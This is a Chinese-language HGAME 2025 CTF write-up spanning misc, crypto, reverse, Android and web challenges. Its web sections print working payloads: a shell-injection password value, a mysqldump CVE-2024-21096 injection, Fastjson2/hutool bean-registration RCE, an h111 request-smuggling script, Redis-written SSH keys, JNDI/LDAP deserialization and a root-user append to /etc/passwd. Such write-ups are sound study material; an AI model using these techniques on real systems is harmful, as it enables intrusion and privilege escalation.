Misc

Computer cleaner plus

有root,直接给ps权限秒了

image-20250210211324331

Level729易画行

Sepolia Transaction Hash (Txhash) Details | Etherscan

image-20250225145921574

ipfs desktop查看

ipfs://QmUusCYT8GTNgbDk5WAHZsHmHSxqcxuHov94inyFcpPqM6

image-20250225150610954

Crypto

Ancient Recall

ai秒了

Major_Arcana = ["The Fool", "The Magician", "The High Priestess","The Empress", "The Emperor", "The Hierophant","The Lovers", "The Chariot", "Strength","The Hermit", "Wheel of Fortune", "Justice","The Hanged Man", "Death", "Temperance","The Devil", "The Tower", "The Star","The Moon", "The Sun", "Judgement","The World"]
wands = ["Ace of Wands", "Two of Wands", "Three of Wands", "Four of Wands", "Five of Wands", "Six of Wands", "Seven of Wands", "Eight of Wands", "Nine of Wands", "Ten of Wands", "Page of Wands", "Knight of Wands", "Queen of Wands", "King of Wands"]
cups = ["Ace of Cups", "Two of Cups", "Three of Cups", "Four of Cups", "Five of Cups", "Six of Cups", "Seven of Cups", "Eight of Cups", "Nine of Cups", "Ten of Cups", "Page of Cups", "Knight of Cups", "Queen of Cups", "King of Cups"]
swords = ["Ace of Swords", "Two of Swords", "Three of Swords", "Four of Swords", "Five of Swords", "Six of Swords", "Seven of Swords", "Eight of Swords", "Nine of Swords", "Ten of Swords", "Page of Swords", "Knight of Swords", "Queen of Swords", "King of Swords"]
pentacles = ["Ace of Pentacles", "Two of Pentacles", "Three of Pentacles", "Four of Pentacles", "Five of Pentacles", "Six of Pentacles", "Seven of Pentacles", "Eight of Pentacles", "Nine of Pentacles", "Ten of Pentacles", "Page of Pentacles", "Knight of Pentacles", "Queen of Pentacles", "King of Pentacles"]
Minor_Arcana = wands + cups + swords + pentacles
tarot = Major_Arcana + Minor_Arcana

def reverse_fortune_wheel(B):
    b0, b1, b2, b3, b4 = B
    numerator = b0 + b1 + b3 - b2 - b4
    if numerator % 2 != 0:
        raise ValueError("Cannot reverse, numerator is odd")
    a1 = numerator // 2
    a0 = b0 - a1
    a2 = b1 - a1
    a3 = b2 - a2
    a4 = b3 - a3
    if a4 + a0 != b4:
        raise ValueError("Validation failed in reverse step")
    return [a0, a1, a2, a3, a4]

YOUR_final_Value = [
    2532951952066291774890498369114195917240794704918210520571067085311474675019,
    2532951952066291774890327666074100357898023013105443178881294700381509795270,
    2532951952066291774890554459287276604903130315859258544173068376967072335730,
    2532951952066291774890865328241532885391510162611534514014409174284299139015,
    2532951952066291774890830662608134156017946376309989934175833913921142609334
]

current = YOUR_final_Value.copy()
for _ in range(250):
    current = reverse_fortune_wheel(current)

initial_values = current

YOUR_initial_FATE = []
for v in initial_values:
    reversed_k = v ^ (-1)
    if 0 <= reversed_k < len(Major_Arcana):
        YOUR_initial_FATE.append(f"re-{tarot[reversed_k]}")
    elif 0 <= v < len(tarot):
        YOUR_initial_FATE.append(tarot[v])
    else:
        raise ValueError(f"Invalid value: {v}")

flag = "hgame{" + "&".join([name.replace(" ", "_") for name in YOUR_initial_FATE]) + "}"
print(flag)

hgame{re-The_Moon&re-The_Sun&Judgement&re-Temperance&Six_of_Cups}

re

from idaapi import*
for i in range(36):
    print(hex(get_byte(0x1400BA000+i)),end=",")

0x23,0xea,0x50,0x30,0x0,0x4c,0x51,0x47,0xee,0x9c,0x76,0x2b,0xd5,0xe6,0x94,0x17,0xed,0x2b,0xe4,0xb3,0xcb,0x36,0xd5,0x61,0xc0,0xc2,0xa0,0x7c,0xfe,0x67,0xd7,0x5e,0xaf,0xe0,0x79,0xc5,

97A25FB5h, 0E1756DBAh, 0A143464Ah, 5A8F284Fh

image-20250211002424446

Mysterious signals

安卓配个代理抓个包,发现sign校验,读文件

POST /flag HTTP/1.1
sign: 41dce78c58dacf99cbbc2f1c20135745
Content-Type: application/json; charset=utf-8
Content-Length: 39
Host: node1.hgame.vidar.club:30778
Connection: close
Accept-Encoding: gzip, deflate, br
User-Agent: okhttp/3.14.9

{"username":"admin","filename":"hello"}

路由限制为/flag

image-20250211031107861

404页面

image-20250211025139493

main_receive函数处理http报文信息

验证username为admin

image-20250211023632455

处理sign

image-20250211023926509

校验sign,通过会读文件,未通过返回Sign Error

解密sign和username+filename对比

image-20250211163900117

读filename文件

image-20250211163539522

serve实现一个校验成功读文件的功能,若能伪造sgin值可以实现任意读文件的功能

image-20250211164535659

在apk中b函数实现对username+filename传参计算sign值

image-20250211164923505

b、c为so动态注册函数

image-20250211165112600

我们只需要利用该函数生成sign即可

在so中发现会对Frida检测,且更改密钥

image-20250211041951073

patch成原密钥即可

image-20250211165400843

然后替换apk中so文件,利用apktool重新打包签名

想直接在安卓中替换so,死活找不到

android:extractNativeLibs设置是flase,不会直接解压so,而是直接从 APK 文件中内存映射加载so

#解包
apktool.bat d app-release.apk 
#替换lib中so文件
#需要改一下配置,要不可能安装不上
# apktool.yum中targetSdkVersion改为26
# AndroidManifest.xml中extractNativeLibs改为true
#重新打包
apktool.bat b .\app-release
#生成签名文件
keytool -genkey -v -keystore my-release-key.keystore -alias my-key-alias -keyalg RSA -keysize 2048 -validity 30000
#签名
jarsigner -verbose -sigalg SHA1withRSA -digestalg SHA1 -keystore my-release-key.keystore .\app-release.apk my-key-alias

直接hook

Java.perform(function() {
    var SSSign = Java.use('com.nobody.andsign.SSSign');

    // 主动调用示例
    var instance = SSSign.$new();

    // 调用 c 方法并打印结果
    var cArgs = ["104406435e045957", "035e0f545e045957", "165e045f"];
    cArgs.forEach(arg => {
        try {
            var result = instance.c(arg);
            console.log(`[主动调用] c('${arg}') => ${result}`);
        } catch (e) {
            console.error(`调用 c('${arg}') 失败: ${e}`);
        }
    });

    // 调用 b 方法并打印结果
    var sampleInput = "usernamefilename";
    try {
        var bResult = instance.b(sampleInput);
        console.log(`[主动调用] b('${sampleInput}') => ${bResult}`);
    } catch (e) {
        console.error(`调用 b('${sampleInput}') 失败: ${e}`);
    }

});

image-20250211171531686

读passwd

image.png

在对文件名处理处有提示,不过有点特殊,ida逆的字符串进入是反的,实际是h1g1a1m1e1

image-20250211164203329

生成sign

image-20250211172059199

发包拿flag

image-20250211172142787

image-20250211174814889

Web

Level 21096 HoneyPot

命令执行点

image-20250212033015449

sanitizeInput过滤

func sanitizeInput(input string) string {
	reg := regexp.MustCompile(`[;&|><\(\)\{\}\[\]\\` + "`" + `]`)
	return reg.ReplaceAllString(input, "")
}

RemotePassword没有过滤

image-20250212033049772

remote_password构造1; /writeflag;#传参

image-20250212033419059

Level 21096 HoneyPot_Revenge

跟着出题人的博客复现

[CVE-2024-21096 mysqldump命令注入漏洞简析 | Ec3o](https://tech.ec3o.fun/2024/10/25/Web-Vulnerability Reproduction/CVE-2024-21096/)

改mysql_version.h.in文件

会执行/writeflag

/* Copyright Abandoned 1996,1999 TCX DataKonsult AB & Monty Program KB
   & Detron HB, 1996, 1999-2004, 2007 MySQL AB.
   This file is public domain and comes with NO WARRANTY of any kind
*/

/* Version numbers for protocol & mysqld */

#ifndef _mysql_version_h
#define _mysql_version_h

#define PROTOCOL_VERSION            @PROTOCOL_VERSION@
#define MYSQL_SERVER_VERSION       "8.0.0-injection-test\n\\! /writeflag"
#define MYSQL_BASE_VERSION         "mysqld-8.0.34"
#define MYSQL_SERVER_SUFFIX_DEF    "@MYSQL_SERVER_SUFFIX@"
#define MYSQL_VERSION_ID            @MYSQL_VERSION_ID@
#define MYSQL_PORT                  @MYSQL_TCP_PORT@
#define MYSQL_ADMIN_PORT            @MYSQL_ADMIN_TCP_PORT@
#define MYSQL_PORT_DEFAULT          @MYSQL_TCP_PORT_DEFAULT@
#define MYSQL_UNIX_ADDR            "@MYSQL_UNIX_ADDR@"
#define MYSQL_CONFIG_NAME          "my"
#define MYSQL_PERSIST_CONFIG_NAME  "mysqld-auto"
#define MYSQL_COMPILATION_COMMENT  "@COMPILATION_COMMENT@"
#define MYSQL_COMPILATION_COMMENT_SERVER  "@COMPILATION_COMMENT_SERVER@"
#define LIBMYSQL_VERSION           "8.0.34-custom"
#define LIBMYSQL_VERSION_ID         @MYSQL_VERSION_ID@

#ifndef LICENSE
#define LICENSE                     GPL
#endif /* LICENSE */

#endif /* _mysql_version_h */

值得注意的是,需要将localhost改为%才能远程连接

image-20250212230407823

update user set host = '%' where user = 'root';

image-20250212230806352

访问/flag路由

Level 60 SignInJava

仅开放/api/gateway一个路由接口,POST方法接受beanNamemethodNameparams三个参数,其中beanName对flag字符进行大小写过滤

package icu.Liki4.signin.controller;

import cn.hutool.core.util.StrUtil;
import com.alibaba.fastjson2.JSON;
import icu.Liki4.signin.base.BaseResponse;
import icu.Liki4.signin.util.InvokeUtils;
import jakarta.servlet.http.HttpServletRequest;
import java.util.Map;
import java.util.Objects;
import org.apache.commons.io.IOUtils;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestMethod;
import org.springframework.web.bind.annotation.ResponseBody;

@Controller
@RequestMapping({"/api"})
public class APIGatewayController {
    public APIGatewayController() {
    }

    @RequestMapping(
        value = {"/gateway"},
        method = {RequestMethod.POST}
    )
    @ResponseBody
    public BaseResponse doPost(HttpServletRequest request) throws Exception {
        try {
            String body = IOUtils.toString(request.getReader());
            Map<String, Object> map = (Map)JSON.parseObject(body, Map.class);
            String beanName = (String)map.get("beanName");
            String methodName = (String)map.get("methodName");
            Map<String, Object> params = (Map)map.get("params");
            if (StrUtil.containsAnyIgnoreCase(beanName, new CharSequence[]{"flag"})) {
                return new BaseResponse(403, "flagTestService offline", (Object)null);
            } else {
                Object result = InvokeUtils.invokeBeanMethod(beanName, methodName, params);
                return new BaseResponse(200, (String)null, result);
            }
        } catch (Exception var8) {
            Exception e = var8;
            return new BaseResponse(500, ((Throwable)Objects.requireNonNullElse(e.getCause(), e)).getMessage(), (Object)null);
        }
    }
}

对于invokeBeanMethod的用法

注意bean的命名规则,@Service会使用默认命名(首字母小写)

image-20250223024031679

由于对beanName过滤flag无法使用FlagTestService类,从而无法调用catFlag方法

image-20250223023126242

只好寻找bean可使用的其他类,hutool比较特别

image-20250223032458231

其中有命令执行的方法

命令行工具-RuntimeUtil | Hutool

hutool/hutool-core/src/main/java/cn/hutool/core/util/RuntimeUtil.java at 433443ebc9cdc29312b51d19b8c055cee809a9c0 · chinabugotech/hutool

不过该类似乎没有被注册到bean

image-20250223033011352

好在hutool里有注册bean的方法

hutool/hutool-extra/src/main/java/cn/hutool/extra/spring/SpringUtil.java at v5-master · chinabugotech/hutool

image-20250223022546458

autoTypeFilter限制了前两级包的反序列化,cn.hutool仍可用

    @Lazy
    private static final Filter autoTypeFilter = JSONReader.autoTypeFilter((String[])((Set)Arrays.stream(SpringContextHolder.getApplicationContext().getBeanDefinitionNames()).map((name) -> {
        int secondDotIndex = name.indexOf(46, name.indexOf(46) + 1);
        return secondDotIndex != -1 ? name.substring(0, secondDotIndex + 1) : null;
    }).filter(Objects::nonNull).collect(Collectors.toSet())).toArray(new String[0]));

关于autoType文章 - Fastjson反序列化漏洞深度解析与利用和修复 - 先知社区

Fastjson2 似乎仍可通过@type 字段指定任意类进行反序列化

调用cn.hutool.extra.spring.SpringUtil中registerBean方法,注册cn.hutool.core.util.RuntimeUtil入bean,名为cmd

{
  "beanName": "cn.hutool.extra.spring.SpringUtil",
  "methodName": "registerBean",
  "params": {
      "arg0":"cmd",
      "arg1":{"@type":"cn.hutool.core.util.RuntimeUtil"}
   }
}

利用注册好的cmd(RuntimeUtil类),调用execForLines方法,执行/readflag

image-20250223052025284

{
  "beanName": "cmd",
  "methodName": "execForLines",
  "params": {
      "arg0":["/readflag"]
   }
}

Level 111 不存在的车厢

前端代理服务器,对外监听端口8081,由此传入请求转发到后端服务器(8080),接口限制为GET请求,否则405

func main() {
	pool = sync.Pool{
		New: func() interface{} {
			for {
				conn, err := net.Dial("tcp", "127.0.0.1:8080")
				if err != nil {
					fmt.Println("error dialing to backend server")
					time.Sleep(time.Millisecond * 300)
					continue
				}
				return conn
			}
		},
	}
	http.ListenAndServe(":8081", &proxyHandler{})
}

而后端对于/flag路由限制其为POST请求,否则StatusForbidden

	mux.HandleFunc("/", func(w http.ResponseWriter, r *http.Request) {
		w.Write([]byte("Welcome to HGAME 2025"))
	})
	mux.HandleFunc("/flag", func(w http.ResponseWriter, r *http.Request) {
		if r.Method != http.MethodPost {
			w.WriteHeader(http.StatusForbidden)
			return
		}
		//flag := os.Getenv("FLAG")
		flag := "FLAG"
		w.Write([]byte(flag))
	})

由此,无法直接通过前端GET /flag拿到flag

可以利用h111协议绕过

func serverH111(conn net.Conn) {
    defer conn.Close()
    for {
       req, err := h111.ReadH111Request(conn)
       if err != nil {
          log.Println(err)
          return
       }
       recorder := httptest.NewRecorder()
       mux.ServeHTTP(recorder, req)
       resp := recorder.Result()
       log.Printf("Received request %s %s, response status code %d", req.Method, req.URL.Path, resp.StatusCode)
       err = h111.WriteH111Response(conn, resp)
       if err != nil {
          log.Println(err)
          return
       }
    }
}

保证外层请求为GET,构造一个带body的GET,但http协议的Content-Length字段会标记其body长度

好在h111协议中对于bodyLength声明为uint16,超过该类型最大值(65535)可导致溢出

下图为当body大小为65536字节时,溢出为0,此时body会有概率进入下一个serverH111轮回,并且不受前端GET方法限制,倘若构造一个H111的POST /flag,即可getflag

image-20250225131843107

body大小不一定要65536,保证溢出对齐即可

例如,构造一个65537大小的body,bodyLength溢出为1,首位\x00字节为第一次GET的负载,剩下进入下一轮回

post_h111 = (
    b"\x00\x00\x04" + b"POST" +  # methodLength=4, method=POST
    b"\x00\x05" + b"/flag" + # uriLength=5, uri=/flag
    b"\x00\x00" +            # headerCount=0
    b"\x00\x00" +            # bodyLength=0
    b"\00"*65519
)

exp

import requests

# H111协议的POST /flag请求
post_h111 = (
    b"\x00\x04" + b"POST" +  # methodLength=4, method=POST
    b"\x00\x05" + b"/flag" + # uriLength=5, uri=/flag
    b"\x00\x00" +            # headerCount=0
    b"\x00\x00" +            # bodyLength=0
    b"\00"*65519
)

url = "http://node1.hgame.vidar.club:30777/"

# 第一个请求,body包含POST请求的H111数据
response1 = requests.get(
    url,
    data=post_h111,
    headers={"Content-Type": "application/octet-stream"}
)
# 发送第二个请求,捕获残留的响应
response2 = requests.get(url)

print(response2.text)

Level 257 日落的紫罗兰

image-20250223224442398

redis发现可以直连

redis-cli -h node1.hgame.vidar.club -p 32748

将公钥写入redis

#生成ssh公钥
ssh-keygen -t rsa
#防止乱码
(echo -e "\n\n";cat id_rsa.pub;echo -e "\n\n") > key.txt
#写入redis
cat key.txt | redis-cli -h node1.hgame.vidar.club -p 32748 -x set ssh_key

root目录没有权限

node1.hgame.vidar.club:32748> config set dir /root/.ssh
(error) ERR Changing directory: Permission denied

试了给的用户,只有mysid用户有权限

node1.hgame.vidar.club:30425> config set dir /home/mysid/.ssh
OK
node1.hgame.vidar.club:30425> config set dbfilename authorized_keys
OK
node1.hgame.vidar.club:30425> save
OK

ssh连接

出现Permissions 0777 for ‘id_rsa’ are too open.为id_rsa权限过大,需降低权限chmod 400 id_rsa

ssh -i id_rsa mysid@node1.hgame.vidar.club -p 30621

image-20250224002739302

没有权限拿flag,需要进一步提权

image-20250224003048007

ps发现有个app.jar

image-20250224002931732

利用xshell给源码搞出来

image-20250224005051362

或者利用scp

scp -i id_rsa -P 30112 mysid@node1.hgame.vidar.club:/app/app.jar ./

hgame.mysid.violet.controller.MainController

package hgame.mysid.violet.controller;

import hgame.mysid.violet.JNDIutil.LdapLookupService;
import java.util.List;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.http.ResponseEntity;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.RestController;

@RestController
public class MainController {
    @Autowired
    private LdapLookupService ldapLookupService;

    public MainController() {
    }

    @GetMapping({"/"})
    public String index() {
        return "Under build...";
    }

    @PostMapping({"/search"})
    public ResponseEntity<List<String>> lookupLdap(@RequestParam String baseDN, @RequestParam String filter) {
        List<String> results = this.ldapLookupService.search(baseDN, filter);
        return results.isEmpty() ? ResponseEntity.noContent().build() : ResponseEntity.ok(results);
    }
}

hgame.mysid.violet.JNDIutil

search为漏洞点,需要写成a/b

package hgame.mysid.violet.JNDIutil;

import java.util.ArrayList;
import java.util.List;
import java.util.Properties;
import javax.naming.NamingEnumeration;
import javax.naming.NamingException;
import javax.naming.directory.DirContext;
import javax.naming.directory.InitialDirContext;
import javax.naming.directory.SearchControls;
import javax.naming.directory.SearchResult;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Service;

@Service
public class LdapLookupService {
    @Autowired
    private LdapConfig ldapConfig;

    public LdapLookupService() {
    }

    public List<String> search(String baseDN, String filter) {
        List<String> results = new ArrayList();
        DirContext ctx = null;

        try {
            Properties env = new Properties();
            env.setProperty("java.naming.factory.initial", "com.sun.jndi.ldap.LdapCtxFactory");
            env.setProperty("java.naming.provider.url", this.ldapConfig.getLdapUrl());
            ctx = new InitialDirContext(env);
            NamingEnumeration<SearchResult> resultsEnumeration = ctx.search(baseDN, filter, (SearchControls)null);

            while(resultsEnumeration.hasMore()) {
                SearchResult result = (SearchResult)resultsEnumeration.next();
                results.add(result.getNameInNamespace());
            }
        } catch (NamingException var16) {
            NamingException e = var16;
            e.printStackTrace();
        } finally {
            if (ctx != null) {
                try {
                    ctx.close();
                } catch (NamingException var15) {
                    NamingException e = var15;
                    e.printStackTrace();
                }
            }

        }

        return results;
    }
}

application.properties

连接ldap 389端口

ldap.url=ldap://127.0.0.1:389
ldap.baseDN=dc=violet,dc=hgame

search的jndi注入漏洞

文章 - 从search入手的jndi注入技术学习 - 先知社区

只有jackson依赖,打jackson的原生链

image-20250224222239460

寻找靶机上的java环境

find / -name java

利用X1r0z/JNDIMap at v0.0.1构造LDAP恶意服务器,似乎很多命令不能执行成功,chmod 777 /etc/passwd

base64中+/ 替换为 -_

/usr/local/openjdk-8/bin/java -jar JNDIMap-0.0.1.jar -l 389 -u "/Deserialize/Jackson/Command/Y2htb2QgNzc3IC9ldGMvcGFzc3dk"
#另起终端
curl -X POST -d "baseDN=a/b&filter=a" http://127.0.0.1:8080/search

提权

echo 'n0o0b::0:0::/root:/bin/bash' >> /etc/passwd
su n0o0b